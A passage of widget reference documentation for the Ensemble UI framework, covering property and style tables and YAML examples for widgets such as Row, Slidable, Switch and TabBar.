:------- | :----- | :------------------------------- | -| value | string | The data to generate the QR code | -| styles | object | [See properties](#styles) | - -### styles - -| Property | Type | Description | -| :--------------------------- | :---------------- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | -| size | integer | Specify the width/height of the QR Code. Default: 160 | -| color | integer or string | Set the color for the QR code drawing, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| borderWidth | integer | Thickness of the border. Minimum value should be 0. | -| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | -| shadowRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | -| margin | string or integer | Margin with CSS-style notation | -| padding | string or integer | Padding with CSS-style value | -| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | -| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | -| backgroundImage | object | Background image of the box. [see properties](#stylesbackgroundImage) | -| backgroundGradient | object | Background gradient of the box [see properties ](#stylesbackgroundGradient) | -| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | - -### styles.backgroundGradient - -| Property | Type | Description | -| :------- | :----- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| colors | array | The list of colors used for the gradient. Colors can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. | -| start | string | The starting position of the gradient | -| end | string | The ending position of the gradient | - -### styles.backgroundImage - -| Property | Type | Description | -| :-------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------- | -| source | string | The Image URL to fill the background | -| fit | string | How to fit the image within our width/height or our parent (if dimension is not specified) . [see options](#fit-options-for-stylesbackgroundimage) | -| alignment | string | Alignment of the background image | - -#### Fit options for styles.backgroundImage - -| Option | Description | -| :-------- | :-------------------------------------------------------------------------------------------------- | -| fill | Stretch our image to fill the dimension, and distorting the aspect ratio if needed | -| contain | Scale the image such that the entire image is contained within our dimension | -| cover | Scale the image to fill our dimension, clipping the image as needed | -| fitWidth | Scale the image to fit the width, and clipping the height if needed | -| fitHeight | Scale the image to fit the height, and clipping the width if needed | -| none | Center-Align the original image size, clipping the content if needed | -| scaleDown | Center-Align the image and only scale down to fit. Image will not be scaled up to bigger dimension. | - ---- - - -# RadioButton - -RadioButton widget renders a simple Radio button, which can be grouped with other RadioButtons anywhere on the screen with the groupId. - ---- - - -# RadioGroup - -The RadioGroup widget renders a group of radios together in a few pre-determined layouts. - ---- - -# ensemble.RatingStars widget - -The `ensemble.RatingStars` widget in Ensemble provides an intuitive solution for displaying star ratings with customizable attributes. It is fixed at 5 stars. - - -[Kitchen Sink example](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/Ywo5qN6fAbx0pC3l5aLZ) - - -**Input Parameters** -Required: -1. `rating`: An integer or double between 1 and 5, indicating the number of stars to be filled - -Optional: -1. `starColor`: The color used to fill the stars, default is 0xFFF5970A -2. `starBackgroundColor`: The color used as the background of the box containing each star, default is 0xFFFFFAEB -3. `size`: An integer to set the size of each star, default is 16 -4. `starGaps`: An integer to set the gap between stars, default is 4 -5. `starPadding`: An integer to set the padding for each star, default is 2 -6. `starBorderRadius`: An integer to set the gap between stars, default is 2 - -By utilizing these Input Parameters, you can customize the appearance of the rating stars by adjusting these parameters tailored to your app's design. Below is an example of how to use the public widget `RatingStars`: -```yaml -- ensemble.RatingStars: - inputs: - rating: 3 - size: 24 - starColor: white - starBackgroundColor: red -``` -Since this widget is globally available, you only need to specify the rating input. The example above also showcases optional input parameters for further customization. Incorporate the `ensemble.RatingStars` widget in your app to enhance the visual representation of rating stars. - ---- - -# Row - -Row is designed to arrange child widgets horizontally, where the intrinsic sizes of child widgets dictate the layout's appearance. - -## Best Practices - -- Use Row to lay out the children horizontally from left to right. Enable scrollable if the children might exceed the available space. -- **Avoid** using child widgets with no width constraint or sized itself to the parent (e.g. form inputs such as TextInput) inside the Row. [FlexRow](/pages/widgets/flex-row.md) may be a better choice in this case. -- Avoid using nested scrollable Row for better UX. - -## Key Concepts -- **mainAxisSize**: By default the width of a `Row` is determined by its parent's width constraint (if available), otherwise it will be the combined width of its children. You may force the Row to do the later (size itself to the children's combined width) with `mainAxisSize=min`. -- **mainAxis**: This property controls the horizontal alignment of the children within the Row. This property is useful only when the mainAxisSize is set to max (default) as there are available spaces to align the children. -- **crossAxis**: This property controls the vertical alignment of the children within the Row. -- **scrollable**: Enable horizontal scrolling when the child widgets grow wider than the available space. - -## Caveats -- **Row height**: Note that setting a height for a Row acts more like a maximum height constraint. The Row determines its actual height based on the tallest child, aligning the other children along the vertical cross-axis according to this height. This means if this actual height is less than the specified height, the `crossAxis` only affects the alignment of the children within the determined (lesser) height. -If you wish to stretch all the children to the same specified height, add `crossAxis: stretch` in addition to the fixed height. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/4bd0d453-c243-429d-a562-93cbc9db38e3) - -## Properties - -| Property | Type | Description | -| :------------ | :----- | :------------------------------- | -| item-template | object | [See properties](#item-template) | -| children | array | List of widgets | -| styles | object | [See properties](#styles) | - -### item-template - -| Property | Type | Description | -| :------- | :----- | :----------------------------------------------------------------- | -| data | string | Bind to an array of data from an API response or a variable | -| name | string | Set the name to reference as you iterate through the array of data | -| template | | The widget to render for each item | - -### styles - -| Property | Type | Description | -| :--------------------------- |:-----------------------------------------------------------| :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| mainAxis | string | Control our children's layout horizontally.`start` `center` `end` `spaceBetween` `spaceAround` `spaceEvenly` | -| fontSize | integer | Sets the size of the text. | -| fontFamily | string | Set the font family applicable for all widgets inside this container, see the list of all available font families [here](https://github.com/material-foundation/flutter-packages/blob/main/packages/google_fonts/generator/families_supported). | -| gap | integer | The gap between the children in the main direction | -| crossAxis | string | Control the vertical alignment of the children.`start` `center` `end` `stretch` `baseline` | -| mainAxisSize | string | If 'max', stretch the Row to fill its parent's width. Otherwise (min) the Row's width will be its children's combined. | -| scrollable | boolean | Set to true so content can scroll horizontally as needed | -| autoFit | boolean | Explicitly make the row's height as tall as the largest child, but only if the row's parent does not already assign us a height. This attribute is useful for sizing children who don't have a width (e.g vertical Divider) | -| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| borderColor | [Color](#Color) | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| borderWidth | integer | Thickness of the border. Minimum value should be 0. | -| shadowColor | [Color](#Color) | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | -| shadowRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | -| margin | string or integer | Margin with CSS-style notation | -| padding | string or integer | Padding with CSS-style value | -| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | -| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | -| backgroundImage | [BackgroundImage](#BackgroundImage) | Background image of the box. | -| backgroundGradient | [Gradient](#Gradient) | Background gradient of the box | -| backgroundColor | [Color](#Color) | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g. stretch horizontally for parent of type Row) | -| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | -| enableSplashFeedback | boolean | Toggles splash effect feedback for the widget when `true`. | -| splashColor | string | Defines the color of the splash effect when `enableSplashFeedback` is true. | -| splashDuration | integer | This is the duration it takes to fill the widget surface with the splashColor.The duration in ms when tap and release on the widget. | -| splashFadeDuration | integer | The duration it takes to fade out once tapped. Since a typical tap starts and ends immdiately, this splashFadeDuration executes almost at the same time as the splashDuration, so ideally it should be equal or longer than splashDuration to see the entire effect. | -| unconfirmedSplashDuration | integer | This happens when the user tap and hold (not yet released). It is called unconfirmed since the tap will be cancelled if the user moves out of the tap area and release. Usually this should be longer (around 1 secs) to signify that the user has not confirmed the tap. | - ---- - -# Shape Widget - -ECreate and customize a variety of shapes to add flair to your UI. Use this widget in combination with [LoadingContainer](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/3wNZSfVkdi56zmTtFeBT) to create compelling loading states. - -### Properties - -| Property | Type | Description | -| :------- | :----- | :--------------------------------------------------------------------- | -| type | string | Type of the shape, `circle` `rectangle` `oval` `square` | - -### Styles - -| Property | Type | Description | -| :-------------- | :---------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| borderRadius | string or integer | The border radius of the widget. This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | -| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | -| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | - ---- - - -# Signature Widget - -The `Signature` widget allows users to capture handwritten signatures directly within your application. It provides a canvas where users can draw their signature using touch or mouse input. The widget is highly customizable, enabling you to adjust its appearance and behavior to suit your application's needs. - -## Key Properties and Features - -- **Pen Customization**: Adjust the pen color (`penColor`), stroke width (`penStrokeWidth`), stroke cap (`strokeCap`), and stroke join (`strokeJoin`) to customize the drawing experience. -- **Background Customization**: Set the background color of the signature pad using `backgroundColor`. - -- **Value Handling**: The `value` property holds the signature data encoded as a Base64 string. This can be used to retrieve or set the signature. - -- **Disabling Input**: Use the `disabled` property to prevent users from drawing on the signature pad, useful for displaying a previously captured signature. - -- **Export Options**: Customize the colors used when exporting the signature image with `exportBackgroundColor` and `exportPenColor`. - -- **Getters**: Access additional data through getters like `isEmpty`, `getSignatureBytes`, `getSignatureSVG`, and `getSignatureJPG`. - -- **Events**: The `onChange` event is triggered whenever the signature pad's content changes, allowing you to react to user input. - -- **Methods**: The `clear()` method allows you to programmatically clear the signature pad. - ---- - - -# Slidable Widget - -The `Slidable` widget enables you to create swipeable items with customizable action panes on both sides. This widget is particularly useful for implementing swipe-to-action functionality, such as swipe-to-delete, swipe-to-edit, or any other custom actions in your application. - -## Key Properties and Features - -- **Dual Action Panes**: Support for both start (left) and end (right) action panes -- **Customizable Actions**: Each action pane can contain multiple actions with customizable icons, labels, and colors -- **Motion Options**: Various motion types available including scroll, stretch, behind, and drawer animations -- **Dismissible Support**: Optional swipe-to-dismiss functionality with customizable behavior -- **Group Management**: Group related slidables together using the `groupTag` property -- **Directional Support**: Supports both horizontal and vertical sliding -- **Accessibility**: Respects text direction for RTL/LTR layouts - -```yaml -Slidable: - styles: - direction: horizontal - closeOnScroll: true - dragStartBehavior: start - useTextDirection: true - startDrawer: - options: - extentRatio: 0.001 # we can keep the extent ratio small so that dismissible action looks smooth - openThreshold: 0.25 - motion: behind - dismissible: - dismissThreshold: 0.75 - dismissalDurationMs: 300 - resizeDurationMs: 300 - motion: inversedDrawer - onDismissed: - showToast: - message: Item dismissed - endDrawer: - children: - - icon: star - label: Favorite - backgroundColor: yellow - onTap: - showToast: - message: Added to favorites - child: - Container: - padding: 16 - child: - Text: "Swipe me left or right" -``` - ---- - - -# Slider Widget - -The `Slider` widget provides an intuitive way for users to select a value or range of values by dragging a handle along a track. This widget is particularly useful for adjusting numeric inputs like volume, brightness, or any other adjustable parameters that fall within a continuous or discrete range. - -## Key Properties and Features - -- **Value Selection**: Intuitive dragging interface for selecting numeric values -- **Discrete or Continuous**: Option to divide the slider into discrete steps or maintain continuous sliding -- **Customizable Appearance**: Extensive styling options for track, thumb, tick marks, and value indicators -- **Interactive Feedback**: Visual feedback through overlays and value indicators -- **Accessibility**: Support for enabled/disabled states and form validation - ---- - -# Spacer - -The Spacer Widget enables the creation of adjustable spacing between elements, offering precise control over the layout and alignment of content within your application. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/1d7e42a9-5bbc-4b4b-9a02-8c102234ee05) - -## Properties - -| Property | Type | Description | -| :------- | :----- | :------------------------ | -| styles | object | [See properties](#styles) | - -### styles - -| Property | Type | Description | -| :------- | :------ | :----------------------------------------------------------------------------------------------------------- | -| size | integer | Defines the dimensions or magnitude of an element, allowing control over its overall size within the layout. | - ---- - -# Stack - -The Stack Widget allows you to visually stack items on top of each other, providing a flexible and layered approach to layout and design within your application. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/572ecf3b-b9f2-46f4-960f-ff438e5fa1dc) - -## Properties - -| Property | Type | Description | -| :------- | :----- | :------------------------ | -| children | array | List of widgets | -| styles | object | [See properties](#styles) | - -### styles - -| Property | Type | Description | -| :------------ | :----- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| alignChildren | string | How to align the children within the stack such that their alignment points will be the same (default is topStart). Each child can override this with alignment property. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| enableSplashFeedback | boolean | Toggles splash effect feedback for the widget when `true`. | -| splashColor | string | Defines the color of the splash effect when `enableSplashFeedback` is true. | -| splashDuration | integer | This is the duration it takes to fill the widget surface with the splashColor.The duration in ms when tap and release on the widget. | -| splashFadeDuration | integer | The duration it takes to fade out once tapped. Since a typical tap starts and ends immdiately, this splashFadeDuration executes almost at the same time as the splashDuration, so ideally it should be equal or longer than splashDuration to see the entire effect. | -| unconfirmedSplashDuration | integer | This happens when the user tap and hold (not yet released). It is called unconfirmed since the tap will be cancelled if the user moves out of the tap area and release. Usually this should be longer (around 1 secs) to signify that the user has not confirmed the tap. | - ---- - -# Staggered Grid - -StaggeredGrid is a versatile widget that arranges its children in a staggered layout, allowing flexible and dynamic positioning for unique and visually appealing UI designs. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/a9iIs4wvgqDOhU4rN6GR?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) - -## Properties - -| Property | Type | Description | -| :------------ | :----- | :-------------------------------------------------------------------------------------- | -| onItemTap | action | Call Ensemble's built-in functions or execute code when tapping on an item in the list. | -| onItemTapHaptic | enum | The type of haptic to perform when a item is pressed. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | -| children | array | List of widgets | -| styles | object | [See properties](#styles) | -| item-template | object | [See properties](#item-template) | - -### item-template - -| Property | Type | Description | -| :------- | :----- | :----------------------------------------------------------------- | -| data | string | Bind to an array of data from an API response or a variable | -| name | string | Set the name to reference as you iterate through the array of data | -| template | widget | The widget to render for each item | - -### styles - -| Property | Type | Description | -| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| crossAxisCount | integer | Creates a list of staggered grid tile in the cross axis | -| verticalGap | integer | Vertical gap between the staggered grid tiles | -| horizontalGap | integer | Horizontal gap between the staggered grid tiles | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | - ---- - -# Switch widget - -The Switch Widget enables the rendering of switch toggle elements, providing users with an intuitive and interactive way to toggle between two states within your application. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/3f4ba37a-0e6a-46a1-9b78-e4e04c84937d) - -## Properties - -| Property | Type | Description | -| :----------- | :------ | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| id | string | ID to be referenced later | -| maxWidth | integer | The max width of this Input widget (default 700). while min vlaue can be `0` and maximum can be `5000` | -| label | string | Label for your widget | -| labelHint | string | Hint text on your label | -| hintText | string | Hint text explaining your widget | -| required | boolean | Whether the field is required | -| enabled | boolean | Enables or disables the interactivity and input functionality of the widget | -| icon | object | [See properties](#icon) | -| onChange | action | Call Ensemble's built-in functions or execute code when the input changes. Note for free-form text input, this event only dispatches if the text changes AND the focus is lost (e.g. clicking on button) | -| onChangeHaptic | enum | The type of haptic to perform when switch state is changed. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | -| value | string | Specifying the value of your Text Input | -| autoComplete | boolean | Enable the Input search suggestion option | -| items | array | List of values, or Objects with value/label pairs | -| styles | object | [see properties](#styles) | -| leadingText | string | Sets the text displayed before the checkbox | -| trailingText | string | Sets the text displayed after the checkbox | - -### styles - -| Property | Type | Description | -| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| variant | string | Select a pre-defined look and feel for this Input widget. This property can be defined in the theme to apply to all Input widgets. [see properties](#options-for-stylesvariant) | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| errorBorderColor | integer or string | The border color when there are errors on this input field. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| focusedBorderColor | integer or string | The border color when this input field is receiving focus. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| focusedErrorBorderColor | integer or string | The border color of this input field when it is receiving focus in its error state. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| disabledBorderColor | integer or string | The border color when this input field is disabled. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| fillColor | integer or string | The fill color for this input fields. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | -| contentPadding | integer or string | Padding around your input content with CSS-style notation e.g. margin: 5 20 5 | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| borderWidth | integer | Thickness of the border. Minimum value should be 0. | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | - -### icon - -| Property | Type | Description | -| :------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| name | string | The name of the icon | -| library | string | Which icon library to use. | -| color | integer or string | The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| size | integer | Defines the dimensions or magnitude of an element, allowing control over its overall size within the layout. | - ---- - -# TabBar - -The TabBar Widget enables the creation of tab bars, providing a convenient and visually appealing way to navigate between different sections or views within your application. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/cebd491d-7d90-43f4-9f17-b8575de441ca) - -## Properties - -| Property | Type | Description | -| :------------ | :------ | :--------------------------------------- | -| styles | object | [See properties](#styles) | -| selectedIndex | integer | Selecting a Tab based on its index order | -| items | array | Define each of your Tab here | -| onTabSelection | action | The action that will be performed when a tab is pressed. | -| onTabSelectionHaptic | enum | The type of haptic to perform when a tab is pressed. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | - -### styles - -| Property | Type | Description | -| :----------------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| tabPosition | string | How to lay out the Tab labels | -| tabAlignment | enum | The TabBar alignments: `start`, `startOffset`, `fill`, `center`. | -| tabPadding | string or integer | Padding for each tab labels with CSS-style value. Default: 0 30 0 0 (right padding only) | -| tabFontSize | integer | Font size for the tab text | -| tabFontWeight | string | Font weight for the tab text | -| tabBackgroundColor | integer or string | The background color of the tab's navigation bar, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| activeTabColor | integer or string | The color of the selected tab's text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` 